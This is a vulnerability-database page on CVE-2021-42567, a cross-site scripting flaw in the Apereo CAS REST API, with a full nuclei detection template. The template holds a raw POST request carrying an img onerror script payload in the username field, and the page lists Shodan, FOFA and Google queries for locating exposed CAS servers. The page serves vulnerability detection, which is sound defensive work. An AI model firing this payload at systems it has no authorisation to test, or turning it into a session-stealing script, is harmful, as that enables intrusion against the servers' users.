HexBrain

Browse / CVEs / CVE-2021-42567

CVE-2021-42567· apereo / central authentication service· CWE-79

Apereo CAS Cross-Site Scripting

mediumseverity
6.1CVSS score
8.2%likelihood of exploitation, next 30 days
95%of all CVEs are less likely
Readycheck to confirm it

Apereo CAS through 6.4.1 allows cross-site scripting via POST requests sent to the REST API endpoints.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of a victim's browser, potentially leading to session hijacking, data theft, or defacement.

Fix

Apply the latest security patches or updates provided by the vendor to mitigate this vulnerability.

How to confirm it

Send: POST /cas/v1/tickets/
Positive when: contains "<img/src/onerror=alert(document.domain)>" and "java.util.HashMap" AND status 401

Run it with nuclei: nuclei -id CVE-2021-42567 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2021-42567

info:
  name: Apereo CAS Cross-Site Scripting
  author: pdteam
  severity: medium
  description: Apereo CAS through 6.4.1 allows cross-site scripting via POST requests sent to the REST API endpoints.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of a victim's browser, potentially leading to session hijacking, data theft, or defacement.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to mitigate this vulnerability.
  reference:
    - https://apereo.github.io/2021/10/18/restvuln/
    - https://www.sudokaikan.com/2021/12/exploit-cve-2021-42567-post-based-xss.html
    - https://github.com/sudohyak/exploit/blob/dcf04f704895fe7e042a0cfe9c5ead07797333cc/CVE-2021-42567/README.md
    - https://nvd.nist.gov/vuln/detail/CVE-2021-42567
    - https://github.com/apereo/cas/releases
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-42567
    cwe-id: CWE-79
    epss-score: 0.08191
    epss-percentile: 0.94916
    cpe: cpe:2.3:a:apereo:central_authentication_service:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apereo
    product: central_authentication_service
    shodan-query:
      - http.title:'CAS - Central Authentication Service'
      - http.title:'cas - central authentication service'
    fofa-query: title='cas - central authentication service'
    google-query: intitle:'cas - central authentication service'
  tags: cve2021,cve,apereo,xss,cas,vkev,vuln

http:
  - raw:
      - |
        POST /cas/v1/tickets/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username=%3Cimg%2Fsrc%2Fonerror%3Dalert%28document.domain%29%3E&password=test

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '<img/src/onerror=alert(document.domain)>'
          - 'java.util.HashMap'
        condition: and

      - type: status
        status:
          - 401

References

Use this check only on systems you are authorised to test. Where the data comes from